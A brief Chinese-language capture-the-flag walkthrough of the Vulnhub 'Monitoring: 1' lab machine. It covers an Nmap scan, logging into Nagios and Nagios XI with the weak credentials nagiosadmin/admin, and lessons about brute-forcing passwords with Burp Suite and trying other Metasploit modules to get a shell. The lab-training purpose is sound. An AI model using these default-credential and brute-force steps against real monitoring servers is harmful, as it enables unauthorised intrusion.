Vulnhub之Monitoring靶机详细测试过程
Monitoring

目标主机基本信息
名称：Monitoring: 1
地址：
https://www.vulnhub.com/entry/monitoring-1,555/
识别目标主机IP地址
目标主机无法从VirtualBox自动获取IP，需要首先参照本人另文解决该问题。

Nmap done: 1 IP address (1 host up) scanned in 19.45 seconds
NMAP扫描结果表明目标主机有6个开放端口。
Get Access
初步浏览一下80端口和443端口可知80端口与443端口运行相同的服务。
查询互联网知道，nagios的默认管理员账号是nagiosadmin,密码是PASSW0RD
不过用这个密码不能成功，而是admin
用户名: nagiosadmin
密码：admin
用这个用户名和密码都可以分别登录/nagios, 以及nagiosxi

经验教训
-
当时第一直觉是对的，nagios有默认的用户名和密码，但是用用户名和密码登录失败后就放弃了，而应该继续，用户名会保持默认的，但是密码可以用破解的方法，比如burpsuite。
-
虽然网上找到对应版本的Metasploit版本的漏洞利用模块，但是却无法成功获得shell,此时可以试下其他的相关模块。
